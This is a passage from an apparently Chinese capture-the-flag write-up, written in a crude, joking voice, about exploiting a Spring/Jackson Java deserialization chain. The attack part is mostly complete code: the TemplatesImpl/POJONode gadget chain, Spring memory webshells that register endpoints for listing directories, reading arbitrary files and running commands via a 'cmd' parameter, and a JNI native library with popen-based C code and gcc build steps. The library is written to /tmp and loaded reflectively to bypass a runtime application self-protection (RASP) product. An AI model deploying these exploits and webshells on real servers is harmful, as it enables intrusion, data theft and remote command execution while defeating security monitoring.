Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{Templates.class}, new MyHandler()); for(Method m: myProxy.getClass().getDeclaredMethods()) { System.out.println(m.getName()); } } }
interface TestInterface1 { public void say(); }
interface TestInterface2 { public void test(); }
class TestProxy {
public void eat() { System.out.println("eat something"); } public void say() { System.out.println("say something"); } public String getName(String a) { return a; } }
class MyHandler implements InvocationHandler {
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("invoke dynamic proxy handler"); return null; } }
|
这两个方法是 Templates
里面定义的接口方法
JdkDynamicAopProxy
是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。
这里能够控制 advised
这里会触发反射方法,这里 advised
前面说过了可控
我们将所需的 TemplatesImpl
的对象用 org.springframework.aop.framework.AdvisedSupport
封装即可
1 2 3 4
| Object oldProxy = null; boolean setProxyContext = false; TargetSource targetSource = this.advised.targetSource; Object target = null;
|
构造
1 2 3 4 5 6 7 8
| Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); POJONode jsonNodes = new POJONode(proxyObj);
|
👴の最後のエクスプロイト
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.fasterxml.jackson.databind.node.BaseJsonNode; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class exp { public static void main(String[] args)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
ref(templates, "_bytecodes", new byte[][]{}); ref(templates, "_name", "shanghe"); ref(templates, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes);
serialize_func.serialize(exp); WriteToFileExample(serialize_func.encryptToBase64("ser.bin"));
}
public static void WriteToFileExample(String args) { String content = "这是要写入文件的字符串内容";
try { BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt")); writer.write(args); writer.close(); System.out.println("字符串已成功写入文件。"); } catch (IOException e) { System.out.println("写入文件时发生错误:" + e.getMessage()); } } public static void ref(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Field reffield = obj.getClass().getDeclaredField(field); reffield.setAccessible(true); reffield.set(obj,value);
} public static String serial(Object o) throws IOException, NoSuchFieldException{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
内存🐎的使用🥵👴
捏麻麻滴,太复杂了,还要写个内存马找到 RASP, 还好👴技高一筹.
列目录
nm, 跟喝大了一样,整这 b 玩意,艹😡
首先来一个递归列出所有目录文件的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.http.*; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64;
public class exls extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} static{ try{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method readmethod = exls.class.getMethod("ls", HttpServletRequest.class,HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/ls").options(config).build(); exls readfile_inject = new exls(); mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
}catch (Exception e){ e.printStackTrace(); }
}
public static void ls(HttpServletRequest request,HttpServletResponse response) throws IOException { String rootDirectory = request.getParameter("dir"); listFilesAndDirectories(new File(rootDirectory),response); response.getWriter().flush(); }
public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException { File[] files = directory.listFiles();
if (files != null) { for (File file : files) { if (file.isFile()) { response.getWriter().write("File: " + file.getAbsolutePath()); } else if (file.isDirectory()) { response.getWriter().write("Directory: " + file.getAbsolutePath()); listFilesAndDirectories(file,response); } } } }
}
|
这样的缺点是列出根目录的时候太多杂碎的东西,👴看不动,要不是👴知道 /home 下面有东西,这玩意太难找了.
优化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.http.*; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64;
public class exls extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} static{ try{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method readmethod = exls.class.getMethod("ls1", HttpServletRequest.class,HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/ls1").options(config).build(); exls readfile_inject = new exls(); mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
}catch (Exception e){ e.printStackTrace(); }
}
public static void ls1(HttpServletRequest request,HttpServletResponse response) throws IOException { String rootDirectory = request.getParameter("dir"); listFilesAndDirectories(new File(rootDirectory),response); response.getWriter().flush(); }
public static void listFilesAndDirectories(File directory,HttpServletResponse response) throws IOException { File[] files = directory.listFiles();
if (files != null) { for (File file : files) { if (file!=null) { response.getWriter().write(file.getAbsolutePath()+"\r\n"); } } } }
}
|
这样看起来舒服多了,👴很中意😊
读文件
👴想尝试柏璐杯的代码,直接通过 ResponseEntity
下载文件,很可惜,失败了,但是涉及到二进制文件的读取,怎么办,👴用 base64 读出来,👴真 tm 是完美天才的 idol (bushi)
终于👴想明白了一件事,写出了内存🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.http.*; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64;
public class exre extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} static{ try{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method readmethod = exre.class.getMethod("readfile2", HttpServletRequest.class,HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/readfile2").options(config).build(); exre readfile_inject = new exre(); mappingHandlerMapping.registerMapping(info,readfile_inject,readmethod);
}catch (Exception e){ e.printStackTrace(); }
}
public void readfile2(HttpServletRequest request, HttpServletResponse response) throws IOException {
String filePath = request.getParameter("filepath"); if(filePath!=null){ FileInputStream fileInputStream = new FileInputStream(filePath); byte[] fileBytes = new byte[fileInputStream.available()]; fileInputStream.read(fileBytes); fileInputStream.close(); String base64String = Base64.getEncoder().encodeToString(fileBytes); response.getWriter().write(base64String); response.getWriter().flush();
}
} }
|
什么,你说你不会 base64 转成二进制文件?🤣
自己写个脚本转换都行,👴告诉你,还能上 cyberchef 转换,还能导出为文件😅
RASP😅😡
绕过 content-length 就简单了?8 可能!
nmb 甚至有 RASP,√Ⅷ,👴没学过.
啥事 RASP
在 2012 年的时候,Gartner 引入了 Runtime application self-protection
一词,简称为 RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP 技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web 和非 Web 应用程序都可以通过 RASP 进行保护。该技术不会影响应用程序的设计,因为 RASP 的检测和保护功能是在应用程序运行的系统上运行的。
👴说人话:就是 nm 把内存过滤,实时动态防护。别人叫内存马,你叫内存盾.
至于这玩意,👴就不在这里赘述了,先等👴新开个文章,记录一下 RASP 的学习笔记.
👴回来了,到了最后的步骤了., 看👴绕过这该死的 RASP.
通过 java-agent 插桩技术,hook 住了一些底层的类,使得 java 的 exec 不能够执行
一般是 unix 或这 forkandexec
forkAndExec
通常是与操作系统进程管理相关的操作,用于在类 Unix 操作系统中(如 Linux)创建子进程并在子进程中执行指定的程序。
可恶的 RASP hook 住了这些类
甚至还不让本地 JNI 加载了, loadLibrary0
也被 hook 了
解决方案😒
底层的 native 方法 java.lang.ClassLoader.NativeLibrary#load
并未被 hook,并且反射也是可以正常使用的,所以可以尝试使用反射来调用 java.lang.ClassLoader.NativeLibrary
中的 load
方法来加载恶意 so 文件执行命令
船新姿势之 javah
可以,我就喜欢 h😊
javah
是 Java 开发工具包 (JDK) 提供的一个命令行工具,用于生成 Java 类的本地方法接口 (Native Method Interface, JNI) 头文件。JNI 允许 Java 代码与本地(通常是 C 或 C++)代码进行交互,这在某些情况下非常有用,例如与硬件交互或与现有的本地库进行集成。
编写包含本地方法声明的 Java 类,使用 native
关键字声明本地方法。
1 2 3
| public class EvilClass { public static native String execCmd(String cmd); }
|
然后使用 javac 编译成 class, 然后使用 javah 编译成 h 文件
生成的 EvilClass.h 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <jni.h>
#ifndef _Included_EvilClass #define _Included_EvilClass #ifdef __cplusplus extern "C" { #endif
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd (JNIEnv *, jclass, jstring);
#ifdef __cplusplus } #endif #endif
|
接下来还要根据这个 h 文件写 C 文件,nm👴不会 c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int execmd(const char *cmd, char *result) { char buffer[1024*12]; FILE *pipe = popen(cmd, "r"); if (!pipe) return 0;
while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { strcat(result, buffer); } } pclose(pipe); return 1; }
|
这里开启了一个缓冲区, popen
是 C 中执行命令时打开的一个管道,以只读模式打开。如果为空,则命令执行失败,返回.
同时 while 使用 feof 检测 pipe 状态,未结束就持续从 pipe 里面每次最大获取 128 个字节内容,放到缓冲区,然后将结果追加到 result
中.
随后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = "";
if (1 == execmd(cstr, result)) { }
char return_messge[100] = ""; strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult; }
|
JNI 规范
JNI 原型函数: JNI 规范定义了一组标准的 JNI 函数原型,如 GetStringUTFChars
、 ReleaseStringUTFChars
等,以方便操作字符串、数组、引用等常见任务。
JNI 函数命名规范: JNI 函数的命名必须遵循特定的命名规范,通常是 Java 类名(用下划线替代点号)后跟 Java 方法名。例如,Java 类 com.example.MyClass
中的方法 myNativeFunction
对应的 JNI 函数应为 Java_com_example_MyClass_myNativeFunction
。
JNIEnv 指针: JNI 函数的第一个参数是一个 JNIEnv
指针,它是一个关于 JNI 环境的上下文。通过 JNIEnv
,JNI 函数可以访问 Java 虚拟机的各种功能,如对象创建、方法调用和异常处理。
数据类型转换: JNI 定义了各种数据类型的对应关系,以便 Java 和本地代码之间的数据传递。例如,Java 的 int
对应 JNI 的 jint
,Java 的 String
对应 JNI 的 jstring
等。JNI 函数允许在这些数据类型之间进行转换。
从参数上看:它接受三个参数: JNIEnv *env
(JNI 环境指针)、 jclass class_object
(表示 Java 类的类对象)、 jstring jstr
(一个 Java 字符串)。
通过 (*env)->GetStringUTFChars
函数将 Java 字符串 jstr
转换为 C 字符串 cstr
,这是因为 execmd
函数需要接受 C 字符串作为参数。
中间执行命令,存储.
使用 (*env)->NewStringUTF
函数创建一个新的 Java 字符串 cmdresult
,用于存储返回消息。
将两部分放在一起,形成 c 文件,然后编译
编译:
1 2
| gcc -FPIC -I /home/siroha/java8202/include -I /home/siroha/java8202/include/linux -shared -o libcmd.so ./EvilClass.c base64 -w 0 libcmd.so > Evil.txt
|
写文件的操作
1 2 3 4
| RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw"); randomAccessFile.write(jniBytes); randomAccessFile.close();
|
最终写个 load 的内存🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.RandomAccessFile; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; import java.util.Vector;
public class EvilClass extends AbstractTranslet { public static native String execCmd(String cmd); private static final String EVIL_JNI_BASE64 = ""; private static final String LIB_PATH = "/tmp/libcmd.so";
static {
try{ byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64); RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw"); randomAccessFile.write(jniBytes); randomAccessFile.close();
ClassLoader cmdLoader = EvilClass.class.getClassLoader(); Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader"); Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary"); Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true); Field field = classLoaderClazz.getDeclaredField("nativeLibraries"); field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader); Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class); nativeLibraryCons.setAccessible(true); Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false); libs.addElement(nativeLibraryObj); field.set(cmdLoader, libs); load.invoke(nativeLibraryObj, LIB_PATH, false);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class); RequestMappingInfo info = RequestMappingInfo.paths("/shell") .options(config) .build(); EvilClass springControllerMemShell = new EvilClass(); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}catch (Exception e){ e.printStackTrace(); } } public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd"); if (cmd != null) { String execRes = EvilClass.execCmd(cmd); response.getWriter().write(execRes); response.getWriter().flush(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
NativeLibrary
包装到 Vector,Vector 是 Classloader
中 nativeLibraries
的值,
一般来说用
1 2 3 4
| System.loadLibrary("cmd"); Command command = new Command(); String ipconfig = command.exec("ipconfig"); System.out.println(ipconfig);
|
题目 ban 了.
芜湖,真√Ⅷ 爽,√Ⅷ 真爽,终出了.
捏麻麻地,👴花了几天时间,学了一堆东西.
怎么制作链子,怎么 python 发包,👴在前面已经分析过了。不用问了😅